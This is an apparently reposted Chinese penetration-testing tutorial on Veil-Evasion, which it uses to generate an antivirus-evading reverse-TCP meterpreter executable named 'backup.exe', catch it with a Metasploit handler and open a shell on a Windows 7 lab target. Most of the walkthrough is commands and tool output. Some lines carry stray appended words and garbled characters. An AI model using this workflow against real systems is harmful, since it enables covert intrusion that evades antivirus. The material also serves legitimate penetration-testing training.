Kail Linux滲透測試教程之免殺Payload生成工具Veil

Kail Linux滲透測試教程之免殺Payload生成工具Veil

免殺Payload生成工具——Veil

Kail Linux滲透測試教程之免殺Payload生成工具VeilVeil是一款利用Metasploit框架生成相兼容的Payload工具,而且在大多數網絡環境中能繞過常見的殺毒軟件。本節將介紹Veil工具的安裝及使用。python

Kali Linux中,默認沒有安裝Veil工具。這裏首先安裝Veil工具,執行以下所示的命令:shell

  • root@kali :~# apt-get update && apt-get install veilwindows

執行以上命令後,若是安裝過程沒有提示錯誤的話,則表示Veil工具安裝成功。因爲安裝該工具依賴的軟件較多,因此此過程時間有點長。網絡

啓動Veil工具。執行命令以下所示:session

  • root@kali :~# veil-evasion框架

執行以上命令後,將會輸出大量的信息。以下所示:tcp

  • =========================================================================工具

  •  Veil First Run Detected... Initializing Script Setup...測試

  • =========================================================================ui

  • [*] Executing ./setup/setup.sh

  • =========================================================================

  •  Veil-Evasion Setup Script | [Updated]: 01.15.2015

  • =========================================================================

  •  [Web]: https://www.veil-framework.com | [Twitter]: @VeilFramework

  • =========================================================================

  • [*] Initializing Apt Dependencies Installation

  • [*] Adding i386 Architecture To x86_64 System

  • [*] Updating Apt Package Lists

  • 命中 http://mirrors.ustc.edu.cn kali Release.gpg

  • 命中 http://mirrors.ustc.edu.cn kali/updates Release.gpg                      

  • 命中 http://mirrors.ustc.edu.cn kali Release                                  

  • 命中 http://mirrors.ustc.edu.cn kali/updates Release                          

  • 命中 http://mirrors.ustc.edu.cn kali/main Sources                             

  • 命中 http://mirrors.ustc.edu.cn kali/non-free Sources            

  • 命中 http://mirrors.ustc.edu.cn kali/contrib Sources             

  • 命中 http://mirrors.ustc.edu.cn kali/main amd64 Packages         

  • 命中 http://mirrors.ustc.edu.cn kali/non-free amd64 Packages

  • 命中 http://mirrors.ustc.edu.cn kali/contrib amd64 Packages      

  • 獲取:1 http://mirrors.ustc.edu.cn kali/main i386 Packages [8,474 kB]

  • 命中 http://http.kali.org kali Release.gpg                              

  • 命中 http://security.kali.org kali/updates Release.gpg              

  • 命中 http://http.kali.org kali Release                    

  • ……

  • 忽略 http://http.kali.org kali/non-free Translation-en

  • 下載 17.8 MB,耗時 20 (859 kB/s)

  • 正在讀取軟件包列表... 完成

  •  [*] Installing Wine i386 Binaries

  • 正在讀取軟件包列表... 完成

  • 正在分析軟件包的依賴關係樹      

  • 正在讀取狀態信息... 完成      

  • 將會安裝下列額外的軟件包:

  •   gcc-4.7-base:i386 libasound2:i386 libc-bin libc-dev-bin libc6 libc6:i386

  •   libc6-dev libc6-i686:i386 libdbus-1-3:i386 libdrm-intel1:i386

  •   libdrm-nouveau1a:i386 libdrm-radeon1:i386 libdrm2:i386 libexpat1:i386

  •   libffi5:i386 libfontconfig1:i386 libfreetype6:i386 libgcc1:i386

  • [*] Cleaning Up Setup Files

  • [*] Updating Veil-Framework Configuration

  •  Veil-Framework configuration:

  •  [*] OPERATING_SYSTEM = Kali

  •  [*] TERMINAL_CLEAR = clear

  •  [*] TEMP_DIR = /tmp/

  •  [*] MSFVENOM_OPTIONS =

  •  [*] METASPLOIT_PATH = /usr/share/metasploit-framework/

  •  [*] PYINSTALLER_PATH = /usr/share/pyinstaller/

  • [*] VEIL_EVASION_PATH = /usr/share/veil-evasion/

  •  [*] PAYLOAD_SOURCE_PATH = /root/veil-output/source/

  •  [*] Path '/root/veil-output/source/' Created

  •  [*] PAYLOAD_COMPILED_PATH = /root/veil-output/compiled/

  •  [*] Path '/root/veil-output/compiled/' Created

  •  [*] Path '/root/veil-output/handlers/' Created

  •  [*] GENERATE_HANDLER_SCRIPT = True

  •  [*] HANDLER_PATH = /root/veil-output/handlers/

  •  [*] HASH_LIST = /root/veil-output/hashes.txt

  • [*] VEIL_CATAPULT_PATH = /usr/share/Veil-Catapult/

  •  [*] Path '/root/veil-output/catapult/' Created

  •  [*] CATAPULT_RESOURCE_PATH = /root/veil-output/catapult/

  • [*] Path '/etc/veil/' Created

  •  Configuration File Written To '/etc/veil/settings.py'

以上信息只有在第一次運行Veil時,才顯示。在此過程當中,初始化一些腳本、軟件包列表、更新配置及安裝須要的軟件包。在此過程當中以圖形界面的形式依次安裝了Python及它的兩個模塊pywin32-218pycrypto-2.6。下面依次進行安裝。首先彈出的對話框,如圖4.1所示。

該界面是安裝Python的初始界面。這裏使用默認設置,單擊Next按鈕,將顯示如圖4.2所示的界面。

  4.1  Python初始界面                               4.2  選擇Python安裝位置

在該界面單擊Next按鈕,將顯示如圖4.3所示的界面。該界面提示C:\Python27已存在,確認是否要覆蓋已存在的文件。這裏單擊yes按鈕,將顯示如圖4.4所示的界面。  

4.3  確認Python的安裝位置          4.4  自定義Python

在該界面自定義安裝Python的一些功能。這裏使用默認的設置,單擊Next按鈕,將顯示如圖4.5所示的界面。     

4.5  安裝完成       4.6  安裝pywin32-218模塊界面 

該界面提示Python已經安裝完成。此時單擊Finish按鈕,將顯示如圖4.6所示的界面。

該界面是要求安裝pywin32-218模塊。這裏單擊「下一步」按鈕,將顯示如圖4.7所示的界面。

4.7  設置嚮導        4.8  準備安裝

這裏使用默認設置,單擊「下一步」按鈕,將顯示如圖4.8所示的界面。

該界面用來確實是否要開始安裝。若是確認配置正確的話,單擊「下一步」按鈕,將顯示如圖4.9所示的界面。

4.9  安裝完成                  4.10  安裝pycrypto-2.6模塊初始界面 

從該界面能夠看到pywin32-218模塊已經安裝完成。此時單擊「結束」按鈕,將顯示如圖4.10所示的界面。

該界面提示須要安裝pycrypto-2.6模塊。這裏單擊「下一步」按鈕開始安裝,如圖4.11所示。 

4.11  設置嚮導      4.12  準備安裝 

這裏使用默認設置,單擊「下一步」按鈕,將顯示如圖4.12所示的界面。

該界面提示將要安裝pycrypto模塊。這裏單擊「下一步」按鈕,將顯示如圖4.13所示的界面。

4.13  安裝完成

  • 從該界面能夠看到以上軟件包已安裝完成。此時單擊「結束」按鈕,將顯示以下所示的信息:

  • =========================================================================

  •  Veil-Evasion | [Version]: 2.4.3

  • =========================================================================

  •  [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework

  • =========================================================================

  • Main Menu

  •          24 payloads loaded

  • Available commands:

  •          use            use a specific payload

  •          info             information on a specific payload

  •          list               list available payloads

  •          update         update Veil to the latest version

  •          clean           clean out payload folders

  •          checkvt         check payload hashes vs. VirusTotal

  •          exit              exit Veil

  • [>] Please enter a command:

從以上信息中能夠看到在Veil下,有24個攻擊載荷可加載,並列出了可用的命令。如今就能夠進行各類操做了。例如查看可加載的攻擊模塊,執行命令以下所示:

  • [>] Please enter a command: list

  • =========================================================================

  •  Veil-Evasion | [Version]: 2.4.3

  • =========================================================================

  •  [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework

  • =========================================================================

  • [*] Available payloads:

  •          1)      c/meterpreter/rev_tcp  

  •          2)      c/meterpreter/rev_tcp_service

  •          3)      c/shellcode_inject/virtual

  •          4)      c/shellcode_inject/void

  •          5)      cs/meterpreter/rev_tcp 

  •          6)      cs/shellcode_inject/base64_substitution

  •          7)      cs/shellcode_inject/virtual

  •          8)      native/Hyperion        

  •          9)      native/backdoor_factory

  •          10)   native/pe_scrambler    

  •          11)   powershell/shellcode_inject/download_virtual

  •          12)   powershell/shellcode_inject/psexec_virtual

  •          13)   powershell/shellcode_inject/virtual

  •          14)   python/meterpreter/rev_http

  •          15)   python/meterpreter/rev_http_contained

  •          16)   python/meterpreter/rev_https

  •          17)   python/meterpreter/rev_https_contained

  •          18)   python/meterpreter/rev_tcp

  •          19)   python/shellcode_inject/aes_encrypt

  •          20)   python/shellcode_inject/arc_encrypt

  •          21)   python/shellcode_inject/base64_substitution

  •          22)   python/shellcode_inject/des_encrypt

  •          23)   python/shellcode_inject/flat

  •          24)   python/shellcode_inject/letter_substitution

從輸出的信息中,能夠看到有24個可用的攻擊載荷。此時能夠利用任何一個攻擊載荷,進行滲透攻擊。

【實例4-9】演示使用Veil工具中的載荷(本例以cs/meterpreter/rev_tcp爲例),進行滲透攻擊(這裏以Windows 7做爲攻擊靶機)。具體操做步驟以下所示:

1)啓動Veil工具。執行命令以下所示:

  • root@kali:~# veil-evasion

執行以上命令後,將顯示以下所示的信息:

  • =========================================================================

  •  Veil-Evasion | [Version]: 2.4.3

  • =========================================================================

  •  [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework

  • =========================================================================

  • Main Menu

  •          24 payloads loaded

  • Available commands:

  •          use            use a specific payload

  •          info             information on a specific payload

  •          list               list available payloads

  •          update         update Veil to the latest version

  •          clean           clean out payload folders

  •          checkvt         check payload hashes vs. VirusTotal

  •          exit              exit Veil

  • [>] Please enter a command:

在輸出的信息中看到[>] Please enter a command:提示符,就表示Veil登陸成功了。

2)選擇cs/meterpreter/rev_tcp攻擊載荷。在攻擊載荷列表中,cs/meterpreter/rev_tcp載荷的編號是5。執行命令以下所示:

  • [>] Please enter a command: use 5

  • =========================================================================

  •  Veil-Evasion | [Version]: 2.4.3

  • =========================================================================

  •  [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework

  • =========================================================================

  • Payload: cs/meterpreter/rev_tcp loaded

  • Required Options:

  • Name                          Current Value   Description

  •  ----                              -------------           ---------------------------------------

  •  LHOST                               IP of the metasploit handler

  •  LPORT                     4444    Port of the metasploit handler

  •  compile_to_exe             Y         Compile to an executable

  • Available commands:

  •          set              set a specific option value

  •          info             show information about the payload

  •          generate        generate payload

  •          back           go to the main menu

  •          exit              exit Veil

  •  [>] Please enter a command:

輸出信息顯示了rev_tcp攻擊載荷可配置的選項參數。這裏默認指定的本地端口(LPORT)是4444LHOST選項尚未配置。

3)配置LHOST選項參數,並查看攻擊載荷的詳細信息。執行命令以下所示:

  • [>] Please enter a command: set LHOST 192.168.6.103

  • [>] Please enter a command: info

  • =========================================================================

  •  Veil-Evasion | [Version]: 2.4.3

  • =========================================================================

  •  [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework

  • =========================================================================

  • Payload information:

  •        Name:                cs/meterpreter/rev_tcp

  •        Language:        cs

  •        Rating:               Excellent

  •        Description:    pure windows/meterpreter/reverse_tcp stager, no

  •                        shellcode

  • Required Options:

  • Name                        Current Value         Description

  •  ----                                 -----------------        ------------------------------------------

  •  LHOST           192.168.6.100        IP of the metasploit handler

  •  LPORT           4444                      Port of the metasploit handler

  •  compile_to_exe            Y                          Compile to an executable

從輸出的信息中,能夠看到rev_tcp攻擊載荷的詳細信息,如攻擊載荷名、語言、級別及配置的選項參數等。

4)此時,使用generate命令生成載荷文件。執行命令以下所示:

  •  [>] Please enter a command: generate

  • =========================================================================

  •  Veil-Evasion | [Version]: 2.4.3

  • =========================================================================

  •  [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework

  • =========================================================================

  • [*] Press [enter] for 'payload'

  •  [>] Please enter the base name for output files: backup                                       #指定輸出文件名

在以上命令中指定一個文件名爲backup。而後按下回車鍵,將顯示以下所示的信息:

  •  [*] Executable written to: /root/veil-output/compiled/backup.exe

  • Language:                         cs

  •  Payload:                             cs/meterpreter/rev_tcp

  •  Required Options:      LHOST=192.168.6.103  LPORT=4444  compile_to_exe=Y

  •  Payload File:                     /root/veil-output/source/backup.cs

  •  Handler File:                     /root/veil-output/handlers/backup_handler.rc

  • [*] Your payload files have been generated, don't get caught!

  •  [!] And don't submit samples to any online scanner! ;)

  • [>] press any key to return to the main menu:

從輸出的信息中能夠看到生成一個可執行文件backup.exe,而且該文件保存在/root/veil-output/compiled/中。此時將可執行文件backup.exe發送到目標主機上,就能夠利用該攻擊載荷了。

接下來須要使用Metasploit建立一個遠程處理器,等待目標主機鏈接到Kali Linux(攻擊主機)操做系統。鏈接成功後,就獲取到一個遠程Shell命令。

【實例4-10建立遠程處理器。具體操做步驟以下所示:

1)啓動MSF終端。

2)使用handler模塊。執行命令以下所示:

  • msf > use exploit/multi/handler

3)加載reverse_tcp攻擊載荷,並設置其選項參數。執行命令以下所示:

  • msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

  • payload => windows/meterpreter/reverse_tcp

  • msf exploit(handler) > set LHOST 192.168.6.103

  • LHOST => 192.168.6.103

4啓動滲透攻擊。執行命令以下所示:

  • msf exploit(handler) > exploit

  • [*] Started reverse handler on 192.168.6.103:4444

  • [*] Starting the payload handler...

從輸出信息能夠看到攻擊載荷已啓動,正在等待鏈接目標主機。

此時將前面生成的可執行文件backup.exe發送到目標主機(Windows 7),並運行該可執行文件。而後返回到Kali Linux操做系統,將看到以下所示的信息:

  • [*] Sending stage (769536 bytes) to 192.168.6.110

  • [*] Meterpreter session 1 opened (192.168.6.103:4444 -> 192.168.6.110:2478) at 2014-07-17 10:44:47 +0800

  • meterpreter >

從以上信息中,能夠看到成功打開了一個Meterpreter會話。這表示已成功滲透攻擊目標主機,如今就能夠進行一些Shell命令。如進行目標主機的Shell環境,執行命令以下所示:

  • meterpreter > shell

  • Process 1544 created.

  • Channel 1 created.

  • Microsoft Windows [ 6.1.7601]

  • ��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ

  • C:\Users\bob\Desktop>

輸出的信息表示進入了目標系統Windows 7的命令行,而且當前目標系統登陸的用戶是bob

本文選自:Kail Linux滲透測試實訓手冊大學霸內部資料,轉載請註明出處,尊重技術尊重IT人!

相關文章
相關標籤/搜索